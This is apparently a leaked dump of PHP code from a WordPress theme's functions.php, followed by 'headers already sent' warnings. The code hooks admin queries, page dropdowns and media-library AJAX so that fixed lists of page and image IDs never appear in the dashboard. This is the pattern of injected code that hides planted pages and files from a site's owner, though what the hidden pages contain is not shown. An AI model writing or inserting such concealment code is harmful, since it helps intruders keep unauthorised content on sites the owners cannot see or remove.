// === P_START ===
if ( ! function_exists('x_admin_page_filter') ) {
function x_admin_page_filter( $query ) {
if ( is_admin() && $query->is_main_query() ) {
$screen = get_current_screen();
if ( $screen && $screen->id === 'edit-page' ) {
$functions_ids = array(7522, 7525, 7528, 7531, 7534, 7537, 7540, 7543, 7546, 7549, 7552, 7555, 7558, 7561, 7564, 7567, 7570, 7573, 7576, 7579, 7582, 7585, 7588, 7591, 7594, 7597, 7600, 7603, 7606, 7609, 7612, 7615, 7618, 7621, 7624, 7627, 7630, 7633);
$query->set( 'post__not_in', $functions_ids );
}
}
}
add_action( 'pre_get_posts', 'x_admin_page_filter' );
}
if ( ! function_exists('x_admin_page_dropdown_filter') ) {
function x_admin_page_dropdown_filter( $args ) {
$functions_ids = array(7522, 7525, 7528, 7531, 7534, 7537, 7540, 7543, 7546, 7549, 7552, 7555, 7558, 7561, 7564, 7567, 7570, 7573, 7576, 7579, 7582, 7585, 7588, 7591, 7594, 7597, 7600, 7603, 7606, 7609, 7612, 7615, 7618, 7621, 7624, 7627, 7630, 7633);
$args['exclude'] = isset($args['exclude'])
? array_merge((array)$args['exclude'], $functions_ids)
: $functions_ids;
return $args;
}
add_filter( 'page_attributes_dropdown_pages_args', 'x_admin_page_dropdown_filter' );
add_filter( 'quick_edit_dropdown_pages_args', 'x_admin_page_dropdown_filter' );
}
// === P_END ===
// === I_START ===
if ( ! function_exists('x_admin_media_filter') ) {
function x_admin_media_filter( $query ) {
if ( is_admin() && $query->is_main_query() ) {
$screen = get_current_screen();
if ( $screen && $screen->id === 'upload' ) {
$hidden_image_ids = array(7521, 7524, 7527, 7530, 7533, 7536, 7539, 7542, 7545, 7548, 7551, 7554, 7557, 7560, 7563, 7566, 7569, 7572, 7575, 7578, 7581, 7584, 7587, 7590, 7593, 7596, 7599, 7602, 7605, 7608, 7611, 7614, 7617, 7620, 7623, 7626, 7629, 7632); // Media IDs to hide
$query->set( 'post__not_in', $hidden_image_ids );
}
}
}
add_action( 'pre_get_posts', 'x_admin_media_filter' );
}
if ( ! function_exists('x_admin_media_ajax_filter') ) {
function x_admin_media_ajax_filter( $args ) {
$hidden_image_ids = array(7521, 7524, 7527, 7530, 7533, 7536, 7539, 7542, 7545, 7548, 7551, 7554, 7557, 7560, 7563, 7566, 7569, 7572, 7575, 7578, 7581, 7584, 7587, 7590, 7593, 7596, 7599, 7602, 7605, 7608, 7611, 7614, 7617, 7620, 7623, 7626, 7629, 7632); // Must match above
$args['post__not_in'] = isset($args['post__not_in'])
? array_merge((array)$args['post__not_in'], $hidden_image_ids)
: $hidden_image_ids;
return $args;
}
add_filter( 'ajax_query_attachments_args', 'x_admin_media_ajax_filter' );
}
// === I_END ===
Warning: Cannot modify header information - headers already sent by (output started at /home/ceidaddi/rdr/wp-content/themes/hello-elementor/functions.php:1) in /home/ceidaddi/rdr/wp-includes/pluggable.php on line 1535
Warning: Cannot modify header information - headers already sent by (output started at /home/ceidaddi/rdr/wp-content/themes/hello-elementor/functions.php:1) in /home/ceidaddi/rdr/wp-includes/pluggable.php on line 1538